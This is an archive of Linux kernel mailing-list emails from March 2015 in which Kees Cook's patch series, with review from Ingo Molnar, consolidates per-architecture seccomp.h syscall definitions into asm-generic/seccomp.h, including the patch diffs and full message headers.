         WB2kGx2zd7ODTF/ZQBXplRxMlcjru3k0JbI2Imkseai9CZu+2Rg7e1ju+X56K6QqmjN2
         o2yw==
X-Gm-Message-State: ALoCoQl6CLw5LApPDleQLXy3GuUCKZRrKBhg5pL/SX7btEMlCwHo9Nc/ST6uJhRNO6FUw99CIjwg
X-Received: by 10.52.135.39 with SMTP id pp7mr10141vdb.47.1425405362840; Tue,
 03 Mar 2015 09:56:02 -0800 (PST)
Original-Received: by 10.52.116.135 with HTTP; Tue, 3 Mar 2015 09:56:02 -0800 (PST)
In-Reply-To: <20150303083002.GA1207@gmail.com>
X-Google-Sender-Auth: wJeS4cVkjeBj6XfMOvY-vz4RM0E
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:20516 gmane.linux.ports.arm.kernel:396940 gmane.linux.ports.mips.general:47250 gmane.linux.ports.parisc:25620 gmane.linux.ports.ppc64.devel:109640 gmane.linux.ports.sh.devel:44362 gmane.linux.kernel:1899038
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/20516>

On Tue, Mar 3, 2015 at 12:30 AM, Ingo Molnar <mingo@kernel.org> wrote:
>
> * Kees Cook <keescook@chromium.org> wrote:
>
>> Most architectures don't need to do anything special for the strict
>> seccomp syscall entries. Remove the redundant headers and reduce the
>> others.
>
>>  19 files changed, 27 insertions(+), 137 deletions(-)
>
> Lovely cleanup factor.
>
> Just to make sure, are you sure the 32-bit details are identical
> across architectures?

I did "gcc -E -dM" style output comparisons on the architectures I had
compilers for, and the buildbot hasn't complained on any of the others
(though see the bottom of this email).

>
> For example some architectures did this:
>
>> --- a/arch/microblaze/include/asm/seccomp.h
>> +++ /dev/null
>> @@ -1,16 +0,0 @@
>> -#ifndef _ASM_MICROBLAZE_SECCOMP_H
>> -#define _ASM_MICROBLAZE_SECCOMP_H
>> -
>> -#include <linux/unistd.h>
>> -
>> -#define __NR_seccomp_read            __NR_read
>> -#define __NR_seccomp_write           __NR_write
>> -#define __NR_seccomp_exit            __NR_exit
>> -#define __NR_seccomp_sigreturn               __NR_sigreturn
>> -
>> -#define __NR_seccomp_read_32         __NR_read
>> -#define __NR_seccomp_write_32                __NR_write
>> -#define __NR_seccomp_exit_32         __NR_exit
>> -#define __NR_seccomp_sigreturn_32    __NR_sigreturn

The asm-generic uses the same syscall numbers from both 64 and 32,
which matches most architectures, and those are the ones that had
their seccomp.h entirely eliminated.

> others did this:
>
>> diff --git a/arch/x86/include/asm/seccomp_64.h b/arch/x86/include/asm/seccomp_64.h
>> deleted file mode 100644
>> index 84ec1bd161a5..000000000000
>> --- a/arch/x86/include/asm/seccomp_64.h
>> +++ /dev/null
>> @@ -1,17 +0,0 @@
>> -#ifndef _ASM_X86_SECCOMP_64_H
>> -#define _ASM_X86_SECCOMP_64_H
>> -
>> -#include <linux/unistd.h>
>> -#include <asm/ia32_unistd.h>
>> -
>> -#define __NR_seccomp_read __NR_read
>> -#define __NR_seccomp_write __NR_write
>> -#define __NR_seccomp_exit __NR_exit
>> -#define __NR_seccomp_sigreturn __NR_rt_sigreturn
>> -
>> -#define __NR_seccomp_read_32 __NR_ia32_read
>> -#define __NR_seccomp_write_32 __NR_ia32_write
>> -#define __NR_seccomp_exit_32 __NR_ia32_exit
>> -#define __NR_seccomp_sigreturn_32 __NR_ia32_sigreturn
>> -
>> -#endif /* _ASM_X86_SECCOMP_64_H */

Well, this was x86's split config that was consolidated into the file below:

>
> While in yet another case you kept the syscall mappings:
>
>> --- a/arch/x86/include/asm/seccomp.h
>> +++ b/arch/x86/include/asm/seccomp.h
>> @@ -1,5 +1,20 @@
>> +#ifndef _ASM_X86_SECCOMP_H
>> +#define _ASM_X86_SECCOMP_H
>> +
>> +#include <asm/unistd.h>
>> +
>> +#ifdef CONFIG_COMPAT
>> +#include <asm/ia32_unistd.h>
>> +#define __NR_seccomp_read_32         __NR_ia32_read
>> +#define __NR_seccomp_write_32                __NR_ia32_write
>> +#define __NR_seccomp_exit_32         __NR_ia32_exit
>> +#define __NR_seccomp_sigreturn_32    __NR_ia32_sigreturn
>> +#endif
>> +
>>  #ifdef CONFIG_X86_32
>> -# include <asm/seccomp_32.h>
>> -#else
>> -# include <asm/seccomp_64.h>
>> +#define __NR_seccomp_sigreturn               __NR_sigreturn
>>  #endif
>> +
>> +#include <asm-generic/seccomp.h>
>> +
>> +#endif /* _ASM_X86_SECCOMP_H */
>
> It might all be correct, but it's not obvious to me.

The x86 change was the most complex as it removed a seccomp_32. and
seccomp_64.h file and merged into a single asm/seccomp.h to provide
overrides for the _32 #defines.

However, in looking at it now... I see some flip/flopping of
__NR_sigreturn and __NR_rt_sigreturn between some of the
architectures. Let me study that and send a v3. I think there are some
accidental changes on microblaze and powerpc.

-Kees

-- 
Kees Cook
Chrome OS Security
--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kees Cook <keescook@chromium.org>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.ports.arm.kernel,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v3 2/8] arm: use asm-generic for seccomp.h
Date: Wed,  4 Mar 2015 17:27:02 -0800
Lines: 44
Approved: news@gmane.org
Message-ID: <1425518828-16017-3-git-send-email-keescook@chromium.org>
References: <1425518828-16017-1-git-send-email-keescook@chromium.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1425518940 3485 80.91.229.3 (5 Mar 2015 01:29:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 5 Mar 2015 01:29:00 +0000 (UTC)
Cc: Kees Cook <keescook@chromium.org>, Ingo Molnar <mingo@redhat.com>,
        Russell King <linux@arm.linux.org.uk>,
        Michal Simek <monstr@monstr.eu>,
        Ralf Baechle <ralf@linux-mips.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        "David S. Miller" <davem@davemloft.net>, x86@kernel.org,
        Arnd Bergmann <arnd@arndb.de>,
        Frederic Weisbecker <fweisbec@gmail.com>,
        Peter Zijlstra <peterz@infradead.org>,
        Will Deacon <will.deacon@arm.com>,
        Daniel Borkmann <dborkman@redhat.com>,
        Laura Abbott <lauraa@codeaurora.org>,
        James Hogan <james.hogan@imgtec.com>,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.
To: akpm@linux-foundation.org
Original-X-From: linux-mips-bounce@linux-mips.org Thu Mar 05 02:28:57 2015
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1YTKat-00083t-Oo
	for sgi-linux-mips@gmane.org; Thu, 05 Mar 2015 02:28:55 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:49353 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27009385AbbCEB2wncR52 (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Thu, 5 Mar 2015 02:28:52 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 05 Mar 2015 02:28:38 +0100 (CET)
Original-Received: from smtp.outflux.net ([198.145.64.163]:55552 "EHLO smtp.outflux.net"
        rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org with ESMTP
        id S27008132AbbCEB22LWJdy (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Thu, 5 Mar 2015 02:28:28 +0100
Original-Received: from www.outflux.net (serenity.outflux.net [10.2.0.2])
        by vinyl.outflux.net (8.14.4/8.14.4/Debian-4.1ubuntu1) with ESMTP id t251RHtI006099;
        Wed, 4 Mar 2015 17:27:17 -0800
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1425518828-16017-1-git-send-email-keescook@chromium.org>
X-MIMEDefang-Filter: outflux$Revision: 1.316 $
X-HELO: www.outflux.net
X-Scanned-By: MIMEDefang 2.73
X-archive-position: 46182
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: keescook@chromium.org
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:47332 gmane.linux.ports.arm.kernel:397452 gmane.linux.kernel:1900938 gmane.linux.ports.parisc:25621 gmane.linux.ports.ppc64.devel:109727 gmane.linux.ports.sparc:20526 gmane.linux.kernel.cross-arch:26552
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/47332>

Switch to using the newly created asm-generic/seccomp.h for the seccomp
strict mode syscall definitions. Definitions were identical.

Signed-off-by: Kees Cook <keescook@chromium.org>
---
 arch/arm/include/asm/Kbuild    |  1 +
 arch/arm/include/asm/seccomp.h | 11 -----------
 2 files changed, 1 insertion(+), 11 deletions(-)
 delete mode 100644 arch/arm/include/asm/seccomp.h

diff --git a/arch/arm/include/asm/Kbuild b/arch/arm/include/asm/Kbuild
index fe74c0d1e485..d7be5a9fd171 100644
--- a/arch/arm/include/asm/Kbuild
+++ b/arch/arm/include/asm/Kbuild
@@ -22,6 +22,7 @@ generic-y += preempt.h
 generic-y += resource.h
 generic-y += rwsem.h
 generic-y += scatterlist.h
+generic-y += seccomp.h
 generic-y += sections.h
 generic-y += segment.h
 generic-y += sembuf.h
diff --git a/arch/arm/include/asm/seccomp.h b/arch/arm/include/asm/seccomp.h
deleted file mode 100644
index 52b156b341f5..000000000000
--- a/arch/arm/include/asm/seccomp.h
+++ /dev/null
@@ -1,11 +0,0 @@
-#ifndef _ASM_ARM_SECCOMP_H
-#define _ASM_ARM_SECCOMP_H
-
-#include <linux/unistd.h>
-
-#define __NR_seccomp_read __NR_read
-#define __NR_seccomp_write __NR_write
-#define __NR_seccomp_exit __NR_exit
-#define __NR_seccomp_sigreturn __NR_rt_sigreturn
-
-#endif /* _ASM_ARM_SECCOMP_H */
-- 
1.9.1




From - Thu Nov 08 21:37:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kees Cook <keescook@chromium.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v3 1/8] seccomp: allow COMPAT sigreturn overrides
Date: Wed,  4 Mar 2015 17:27:01 -0800
Lines: 25
Approved: news@gmane.org
Message-ID: <1425518828-16017-2-git-send-email-keescook@chromium.org>
References: <1425518828-16017-1-git-send-email-keescook@chromium.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1425518958 3646 80.91.229.3 (5 Mar 2015 01:29:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 5 Mar 2015 01:29:18 +0000 (UTC)
Cc: Kees Cook <keescook@chromium.org>, Ingo Molnar <mingo@redhat.com>,
	Russell King <linux@arm.linux.org.uk>,
	Michal Simek <monstr@monstr.eu>,
	Ralf Baechle <ralf@linux-mips.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>,
	Michael Ellerman <mpe@ellerman.id.au>,
	"David S. Miller" <davem@davemloft.net>, x86@kernel.org,
	Arnd Bergmann <arnd@arndb.de>,
	Frederic Weisbecker <fweisbec@gmail.com>,
	Peter Zijlstra <peterz@infradead.org>,
	Will Deacon <will.deacon@arm.com>,
	Daniel Borkmann <dborkman@redhat.com>,
	Laura Abbott <lauraa@codeaurora.org>,
	James Hogan <james.hogan@imgtec.com>,
	linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, sparclinux@vger.kernel.o
To: akpm@linux-foundation.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Mar 05 02:29:15 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1YTKbC-0008HS-C3
	for glk-linux-kernel-3@plane.gmane.org; Thu, 05 Mar 2015 02:29:14 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753937AbbCEB3I (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 4 Mar 2015 20:29:08 -0500
Original-Received: from smtp.outflux.net ([198.145.64.163]:48058 "EHLO smtp.outflux.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753683AbbCEB3C (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Wed, 4 Mar 2015 20:29:02 -0500
Original-Received: from www.outflux.net (serenity.outflux.net [10.2.0.2])
	by vinyl.outflux.net (8.14.4/8.14.4/Debian-4.1ubuntu1) with ESMTP id t251RHOs006098;
	Wed, 4 Mar 2015 17:27:17 -0800
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1425518828-16017-1-git-send-email-keescook@chromium.org>
X-MIMEDefang-Filter: outflux$Revision: 1.316 $
X-HELO: www.outflux.net
X-Scanned-By: MIMEDefang 2.73
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1900939 gmane.linux.ports.arm.kernel:397453 gmane.linux.ports.mips.general:47333 gmane.linux.ports.parisc:25622 gmane.linux.ports.ppc64.devel:109728 gmane.linux.ports.sparc:20527 gmane.linux.kernel.cross-arch:26553
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1900939>

Some architectures may need to override the compat sigreturn definition,
as is already possible in the non-compat case.

Signed-off-by: Kees Cook <keescook@chromium.org>
---
 include/asm-generic/seccomp.h | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/include/asm-generic/seccomp.h b/include/asm-generic/seccomp.h
index 9fa1f653ed3b..c9ccafa0d99a 100644
--- a/include/asm-generic/seccomp.h
+++ b/include/asm-generic/seccomp.h
@@ -17,7 +17,9 @@
 #define __NR_seccomp_read_32		__NR_read
 #define __NR_seccomp_write_32		__NR_write
 #define __NR_seccomp_exit_32		__NR_exit
+#ifndef __NR_seccomp_sigreturn_32
 #define __NR_seccomp_sigreturn_32	__NR_rt_sigreturn
+#endif
 #endif /* CONFIG_COMPAT && ! already defined */
 
 #define __NR_seccomp_read		__NR_read
-- 
1.9.1


From - Thu Nov 08 21:37:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kees Cook <keescook@chromium.org>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.arm.kernel,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc
Subject: [PATCH v3 4/8] mips: switch to using asm-generic for seccomp.h
Date: Wed,  4 Mar 2015 17:27:04 -0800
Lines: 35
Approved: news@gmane.org
Message-ID: <1425518828-16017-5-git-send-email-keescook@chromium.org>
References: <1425518828-16017-1-git-send-email-keescook@chromium.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1425518964 3701 80.91.229.3 (5 Mar 2015 01:29:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 5 Mar 2015 01:29:24 +0000 (UTC)
Cc: Kees Cook <keescook@chromium.org>, Ingo Molnar <mingo@redhat.com>,
	Russell King <linux@arm.linux.org.uk>,
	Michal Simek <monstr@monstr.eu>,
	Ralf Baechle <ralf@linux-mips.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>,
	Michael Ellerman <mpe@ellerman.id.au>,
	"David S. Miller" <davem@davemloft.net>, x86@kernel.org,
	Arnd Bergmann <arnd@arndb.de>,
	Frederic Weisbecker <fweisbec@gmail.com>,
	Peter Zijlstra <peterz@infradead.org>,
	Will Deacon <will.deacon@arm.com>,
	Daniel Borkmann <dborkman@redhat.com>,
	Laura Abbott <lauraa@codeaurora.org>,
	James Hogan <james.hogan@imgtec.com>,
	linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, sparclinux@vger.kernel.o
To: akpm@linux-foundation.org
Original-X-From: linux-arch-owner@vger.kernel.org Thu Mar 05 02:29:08 2015
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1YTKb3-0008Ap-R7
	for glka-linux-arch@plane.gmane.org; Thu, 05 Mar 2015 02:29:06 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753811AbbCEB3D (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Wed, 4 Mar 2015 20:29:03 -0500
Original-Received: from smtp.outflux.net ([198.145.64.163]:46417 "EHLO smtp.outflux.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753791AbbCEB3C (ORCPT <rfc822;linux-arch@vger.kernel.org>);
	Wed, 4 Mar 2015 20:29:02 -0500
Original-Received: from www.outflux.net (serenity.outflux.net [10.2.0.2])
	by vinyl.outflux.net (8.14.4/8.14.4/Debian-4.1ubuntu1) with ESMTP id t251RHjp006101;
	Wed, 4 Mar 2015 17:27:17 -0800
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1425518828-16017-1-git-send-email-keescook@chromium.org>
X-MIMEDefang-Filter: outflux$Revision: 1.316 $
X-HELO: www.outflux.net
X-Scanned-By: MIMEDefang 2.73
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:26554 gmane.linux.ports.arm.kernel:397454 gmane.linux.kernel:1900940 gmane.linux.ports.mips.general:47334 gmane.linux.ports.parisc:25623 gmane.linux.ports.ppc64.devel:109729 gmane.linux.ports.sparc:20528
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/26554>

Switch to using the newly created asm-generic/seccomp.h for the seccomp
strict mode syscall definitions. COMPAT definitions retain their overrides
and the remaining definitions were identical.

Signed-off-by: Kees Cook <keescook@chromium.org>
---
 arch/mips/include/asm/seccomp.h | 7 ++-----
 1 file changed, 2 insertions(+), 5 deletions(-)

diff --git a/arch/mips/include/asm/seccomp.h b/arch/mips/include/asm/seccomp.h
index f29c75cf83c6..1d8a2e2c75c1 100644
--- a/arch/mips/include/asm/seccomp.h
+++ b/arch/mips/include/asm/seccomp.h
@@ -2,11 +2,6 @@
 
 #include <linux/unistd.h>
 
-#define __NR_seccomp_read __NR_read
-#define __NR_seccomp_write __NR_write
-#define __NR_seccomp_exit __NR_exit
-#define __NR_seccomp_sigreturn __NR_rt_sigreturn
-
 /*
  * Kludge alert:
  *
@@ -29,4 +24,6 @@
 
 #endif /* CONFIG_MIPS32_O32 */
 
+#include <asm-generic/seccomp.h>
+
 #endif /* __ASM_SECCOMP_H */
-- 
1.9.1


From - Thu Nov 08 21:37:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kees Cook <keescook@chromium.org>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.ports.arm.kernel,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v3 7/8] sparc: switch to using asm-generic for seccomp.h
Date: Wed,  4 Mar 2015 17:27:07 -0800
Lines: 38
Approved: news@gmane.org
Message-ID: <1425518828-16017-8-git-send-email-keescook@chromium.org>
References: <1425518828-16017-1-git-send-email-keescook@chromium.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1425518966 3719 80.91.229.3 (5 Mar 2015 01:29:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 5 Mar 2015 01:29:26 +0000 (UTC)
Cc: Kees Cook <keescook@chromium.org>, Ingo Molnar <mingo@redhat.com>,
        Russell King <linux@arm.linux.org.uk>,
        Michal Simek <monstr@monstr.eu>,
        Ralf Baechle <ralf@linux-mips.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        "David S. Miller" <davem@davemloft.net>, x86@kernel.org,
        Arnd Bergmann <arnd@arndb.de>,
        Frederic Weisbecker <fweisbec@gmail.com>,
        Peter Zijlstra <peterz@infradead.org>,
        Will Deacon <will.deacon@arm.com>,
        Daniel Borkmann <dborkman@redhat.com>,
        Laura Abbott <lauraa@codeaurora.org>,
        James Hogan <james.hogan@imgtec.com>,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.
To: akpm@linux-foundation.org
Original-X-From: linux-mips-bounce@linux-mips.org Thu Mar 05 02:29:18 2015
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1YTKbB-0008HF-T6
	for sgi-linux-mips@gmane.org; Thu, 05 Mar 2015 02:29:14 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:49389 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27012176AbbCEB3Ks95kg (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Thu, 5 Mar 2015 02:29:10 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 05 Mar 2015 02:28:54 +0100 (CET)
Original-Received: from smtp.outflux.net ([198.145.64.163]:48713 "EHLO smtp.outflux.net"
        rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org with ESMTP
        id S27008111AbbCEB22Lh0El (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Thu, 5 Mar 2015 02:28:28 +0100
Original-Received: from www.outflux.net (serenity.outflux.net [10.2.0.2])
        by vinyl.outflux.net (8.14.4/8.14.4/Debian-4.1ubuntu1) with ESMTP id t251RNWX006133;
        Wed, 4 Mar 2015 17:27:23 -0800
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1425518828-16017-1-git-send-email-keescook@chromium.org>
X-MIMEDefang-Filter: outflux$Revision: 1.316 $
X-HELO: www.outflux.net
X-Scanned-By: MIMEDefang 2.73
X-archive-position: 46183
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: keescook@chromium.org
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:47335 gmane.linux.ports.arm.kernel:397455 gmane.linux.kernel:1900941 gmane.linux.ports.parisc:25624 gmane.linux.ports.ppc64.devel:109730 gmane.linux.ports.sparc:20529 gmane.linux.kernel.cross-arch:26555
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/47335>

Switch to using the newly created asm-generic/seccomp.h for the seccomp
strict mode syscall definitions. The obsolete sigreturn in COMPAT mode
is retained as an override. Remaining definitions are identical. Also
corrected missing #define for header reinclusion protection.

Signed-off-by: Kees Cook <keescook@chromium.org>
---
 arch/sparc/include/asm/seccomp.h | 11 +++--------
 1 file changed, 3 insertions(+), 8 deletions(-)

diff --git a/arch/sparc/include/asm/seccomp.h b/arch/sparc/include/asm/seccomp.h
index adca1bce41d4..5ef8826d44f8 100644
--- a/arch/sparc/include/asm/seccomp.h
+++ b/arch/sparc/include/asm/seccomp.h
@@ -1,15 +1,10 @@
 #ifndef _ASM_SECCOMP_H
+#define _ASM_SECCOMP_H
 
 #include <linux/unistd.h>
 
-#define __NR_seccomp_read __NR_read
-#define __NR_seccomp_write __NR_write
-#define __NR_seccomp_exit __NR_exit
-#define __NR_seccomp_sigreturn __NR_rt_sigreturn
-
-#define __NR_seccomp_read_32 __NR_read
-#define __NR_seccomp_write_32 __NR_write
-#define __NR_seccomp_exit_32 __NR_exit
 #define __NR_seccomp_sigreturn_32 __NR_sigreturn
 
+#include <asm-generic/seccomp.h>
+
 #endif /* _ASM_SECCOMP_H */
-- 
1.9.1




From - Thu Nov 08 21:37:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kees Cook <keescook@chromium.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.arm.kernel,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v3 6/8] powerpc: switch to using asm-generic for seccomp.h
Date: Wed,  4 Mar 2015 17:27:06 -0800
Lines: 62
Approved: news@gmane.org
Message-ID: <1425518828-16017-7-git-send-email-keescook@chromium.org>
References: <1425518828-16017-1-git-send-email-keescook@chromium.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1425518974 4038 80.91.229.3 (5 Mar 2015 01:29:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 5 Mar 2015 01:29:34 +0000 (UTC)
Cc: Kees Cook <keescook@chromium.org>, Ingo Molnar <mingo@redhat.com>,
	Russell King <linux@arm.linux.org.uk>,
	Michal Simek <monstr@monstr.eu>,
	Ralf Baechle <ralf@linux-mips.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>,
	Michael Ellerman <mpe@ellerman.id.au>,
	"David S. Miller" <davem@davemloft.net>, x86@kernel.org,
	Arnd Bergmann <arnd@arndb.de>,
	Frederic Weisbecker <fweisbec@gmail.com>,
	Peter Zijlstra <peterz@infradead.org>,
	Will Deacon <will.deacon@arm.com>,
	Daniel Borkmann <dborkman@redhat.com>,
	Laura Abbott <lauraa@codeaurora.org>,
	James Hogan <james.hogan@imgtec.com>,
	linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, sparclinux@vger.kernel.o
To: akpm@linux-foundation.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Mar 05 02:29:22 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YTKbJ-0008NX-Ck
	for glpp-linux-parisc@plane.gmane.org; Thu, 05 Mar 2015 02:29:21 +0100
